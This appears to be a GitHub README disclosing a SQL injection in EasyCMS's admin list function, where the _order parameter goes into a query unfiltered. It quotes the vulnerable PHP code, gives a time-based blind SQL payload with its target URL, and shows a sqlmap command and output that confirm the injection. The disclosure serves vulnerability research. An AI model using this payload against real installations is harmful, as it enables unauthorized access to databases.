

main ▾

...

[EasyCMS-s-SQL-injection-new-](#) / README.md

jojosec Update README.md

[History](#)[1 contributor](#)

43 lines (28 sloc) | 1.22 KB

...

EasyCMS's background query function SQL injection vulnerability(new)

1.The following code has SQL injection:

vulnerability found in: \App\Modules\Admin\Action\ArticlemAction.class.php line 390
function _list

```
$list = $model->where($map)->relation(true)->order($order.' '.$sort)
        ->limit($p->firstRow.', '.$p->listRows)
        ->select();
if (method_exists($this, '_tigger_list')) {
    $this->_tigger_list($list);
}
foreach ($map as $key => $val) {
    if (!is_array($val)) {
        $p->parameter .= "$key=" . urlencode($val) . "&";
    }
}
```

```

387
388 //分页查询数据
389 // $list = $model->where($map)->order($order . ' ' . $sort)->select();
390 $list = $model->where($map)->relation(true)->order($order . ' ' . $sort)
391         ->limit($p->firstRow, ' ' . $p->listRows)
392         ->select();
393 //回调函数, 用于数据加工, 如将用户id, 替换成用户名称
394 if (method_exists($this, '_tiger_list')) {
395     $this->_tiger_list($list);
396 }
397 //分页跳转的时候保证查询条件
398 foreach ($map as $key => $val) {
399     if (!is_array($val)) {
400         $p->parameter .= "$key=" . urlencode($val) . "&";
401     }
402 }
403

```

The variable Order is not filtered and SQL injection exists.

Web sample:



2.Payload URL:/index.php?s=/admin/user/index.html

Payload: _order=123 AND (SELECT 8561 FROM (SELECT(SLEEP(5)))MITU)&keyword=123&numPerPage=10&pageNum=1

Parameter: _order (POST)

Type: time-based blind

sqlmap command: python sqlmap.py -r easycms.txt -batch

result:

```

D:\sqlmap\sqlmapproject-sqlmap-97b88b0>python sqlmap.py -r easycms.txt -batch
[+] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws.
Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 11:37:46 /2022-01-13/
[11:37:46] [INFO] parsing HTTP request from 'easycms.txt'
[11:37:47] [INFO] resuming back-end DBMS 'mysql'
[11:37:47] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: _order (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: _order=123 AND (SELECT 8561 FROM (SELECT(SLEEP(5)))MITU)&keyword=123&numPerPage=10&pageNum=1
[11:37:48] [INFO] the back-end DBMS is MySQL
web application technology: ThinkPHP, Apache 2.4.39
back-end DBMS: MySQL >= 5.0.12
[11:37:48] [INFO] fetched data logged to text files under 'C:\Users\18811\AppData\Local\sqlmap\output\www.test1.com'
[*] ending @ 11:37:48 /2022-01-13/

```